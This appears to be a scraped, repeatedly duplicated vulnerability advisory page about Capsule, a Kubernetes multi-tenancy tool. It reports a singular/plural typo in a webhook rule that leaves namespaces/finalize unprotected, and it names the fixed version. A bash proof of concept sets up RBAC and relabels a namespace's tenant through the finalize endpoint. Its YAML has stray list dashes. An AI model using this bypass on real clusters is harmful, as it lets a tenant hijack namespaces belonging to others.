### Summary Capsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent. ### Details PUT to `/api/v1/namespaces/<ns>/finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate. ### PoC Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): `kubectl label --as=alice` = DENIED (control). `kubectl replace --raw /finalize --as=alice` = 200 OK (bypass). Tenant label changed. ### Impact Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: `namespace/finalize` -> `namespaces/finalize`. The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but `charts/capsule/templates/configuration.yaml` line 105 contains a singular/plural typo: `namespace/finalize` instead of `namespaces/finalize`. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent. ### Details In Kubernetes admission webhooks, `rules.resources` matches against the plural resource name. A PUT to `/api/v1/namespaces/<ns>/finalize` has `resource=namespaces` (plural). The rule `namespace/finalize` (singular) never matches any real API request. The `matchPolicy: Equivalent` setting does NOT compensate (it handles API group/version variations, not resource name typos). ### PoC Confirmed on kind cluster + Capsule v0.13.2 (Helm chart): ```bash # Setup: alice with namespaces/finalize RBAC kubectl apply -f - <<EOF apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: ns-finalize-updater rules: - apiGroups: [""] - resources: ["namespaces/finalize"] - verbs: ["update"] - - apiGroups: [""] - resources: ["namespaces"] - verbs: ["get", "list"] - EOF - kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice # Control: normal label change DENIED kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice # Error: admission webhook denied # Bypass: finalize changes tenant label (webhook NOT invoked) kubectl get namespace oil-prod -o json > /tmp/ns.json # modify tenant label to "hijacked" kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice # 200 OK - tenant label changed ``` ### Impact Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: `namespace/finalize` -> `namespaces/finalize`.
### Summary Capsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent. ### Details PUT to `/api/v1/namespaces/<ns>/finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate. ### PoC Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): `kubectl label --as=alice` = DENIED (control). `kubectl replace --raw /finalize --as=alice` = 200 OK (bypass). Tenant label changed. ### Impact Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: `namespace/finalize` -> `namespaces/finalize`. The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but `charts/capsule/templates/configuration.yaml` line 105 contains a singular/plural typo: `namespace/finalize` instead of `namespaces/finalize`. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent. ### Details In Kubernetes admission webhooks, `rules.resources` matches against the plural resource name. A PUT to `/api/v1/namespaces/<ns>/finalize` has `resource=namespaces` (plural). The rule `namespace/finalize` (singular) never matches any real API request. The `matchPolicy: Equivalent` setting does NOT compensate (it handles API group/version variations, not resource name typos). ### PoC Confirmed on kind cluster + Capsule v0.13.2 (Helm chart): ```bash # Setup: alice with namespaces/finalize RBAC kubectl apply -f - <<EOF apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: ns-finalize-updater rules: - apiGroups: [""] - resources: ["namespaces/finalize"] - verbs: ["update"] - - apiGroups: [""] - resources: ["namespaces"] - verbs: ["get", "list"] - EOF - kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice # Control: normal label change DENIED kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice # Error: admission webhook denied # Bypass: finalize changes tenant label (webhook NOT invoked) kubectl get namespace oil-prod -o json > /tmp/ns.json # modify tenant label to "hijacked" kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice # 200 OK - tenant label changed ``` ### Impact Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: `namespace/finalize` -> `namespaces/finalize`.
Update github.com/projectcapsule/capsule to 0.13.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanCapsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected affects github.com/projectcapsule/capsule (go). Severity is medium. ### Summary Capsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent. ### Details PUT to `/api/v1/namespaces/<ns>/finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate. ### PoC Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): `kubectl label --as=alice` = DENIED (control). `kubectl replace --raw /finalize --as=alice` = 200 OK (bypass). Tenant label changed. ### Impact Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: `namespace/finalize` -> `namespaces/finalize`. The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but `charts/capsule/templates/configuration.yaml` line 105 contains a singular/plural typo: `namespace/finalize` instead of `namespaces/finalize`. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent. ### Details In Kubernetes admission webhooks, `rules.resources` matches against the plural resource name. A PUT to `/api/v1/namespaces/<ns>/finalize` has `resource=namespaces` (plural). The rule `namespace/finalize` (singular) never matches any real API request. The `matchPolicy: Equivalent` setting does NOT compensate (it handles API group/version variations, not resource name typos). ### PoC Confirmed on kind cluster + Capsule v0.13.2 (Helm chart): ```bash # Setup: alice with namespaces/finalize RBAC kubectl apply -f - <<EOF apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: ns-finalize-updater rules: - apiGroups: [""] - resources: ["namespaces/finalize"] - verbs: ["update"] - - apiGroups: [""] - resources: ["namespaces"] - verbs: ["get", "list"] - EOF - kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice # Control: normal label change DENIED kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice # Error: admission webhook denied # Bypass: finalize changes tenant label (webhook NOT invoked) kubectl get namespace oil-prod -o json > /tmp/ns.json # modify tenant label to "hijacked" kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice # 200 OK - tenant label changed ``` ### Impact Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: `namespace/finalize` -> `namespaces/finalize`.
AI coding agents often install or upgrade packages automatically in go. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/projectcapsule/capsulego | >=0.13.0,<0.13.6 | 0.13.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate github.com/projectcapsule/capsule to 0.13.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanCapsule: Incomplete fix of CVE-2026-30963: singular/plural typo leaves namespaces/finalize unprotected affects github.com/projectcapsule/capsule (go). Severity is medium. ### Summary Capsule v0.13.2 webhook rules contain `namespace/finalize` (singular) instead of `namespaces/finalize` (plural). K8s requires plural. The finalize defense from CVE-2026-30963 fix is absent. ### Details PUT to `/api/v1/namespaces/<ns>/finalize` has resource=namespaces (plural). The singular rule never matches. `matchPolicy: Equivalent` does not compensate. ### PoC Confirmed on kind + Capsule v0.13.2. alice (non-admin with namespaces/finalize RBAC): `kubectl label --as=alice` = DENIED (control). `kubectl replace --raw /finalize --as=alice` = 200 OK (bypass). Tenant label changed. ### Impact Namespace tenant-label hijack. Same threat model as CVE-2026-30963. One-char fix: `namespace/finalize` -> `namespaces/finalize`. The CVE-2026-30963 fix in Capsule v0.13.2 added subresource entries to the namespace validating webhook, but `charts/capsule/templates/configuration.yaml` line 105 contains a singular/plural typo: `namespace/finalize` instead of `namespaces/finalize`. Kubernetes webhook rules require the plural resource name. The finalize subresource defense is entirely absent. ### Details In Kubernetes admission webhooks, `rules.resources` matches against the plural resource name. A PUT to `/api/v1/namespaces/<ns>/finalize` has `resource=namespaces` (plural). The rule `namespace/finalize` (singular) never matches any real API request. The `matchPolicy: Equivalent` setting does NOT compensate (it handles API group/version variations, not resource name typos). ### PoC Confirmed on kind cluster + Capsule v0.13.2 (Helm chart): ```bash # Setup: alice with namespaces/finalize RBAC kubectl apply -f - <<EOF apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: ns-finalize-updater rules: - apiGroups: [""] - resources: ["namespaces/finalize"] - verbs: ["update"] - - apiGroups: [""] - resources: ["namespaces"] - verbs: ["get", "list"] - EOF - kubectl create clusterrolebinding alice-finalize --clusterrole=ns-finalize-updater --user=alice # Control: normal label change DENIED kubectl label namespace oil-prod capsule.clastix.io/tenant=evil --overwrite --as=alice # Error: admission webhook denied # Bypass: finalize changes tenant label (webhook NOT invoked) kubectl get namespace oil-prod -o json > /tmp/ns.json # modify tenant label to "hijacked" kubectl replace --raw "/api/v1/namespaces/oil-prod/finalize" -f /tmp/ns_modified.json --as=alice # 200 OK - tenant label changed ``` ### Impact Namespace tenant-label hijack via the finalize subresource bypass. Same threat model as CVE-2026-30963. One-character fix needed: `namespace/finalize` -> `namespaces/finalize`.
AI coding agents often install or upgrade packages automatically in go. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| github.com/projectcapsule/capsulego | >=0.13.0,<0.13.6 | 0.13.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard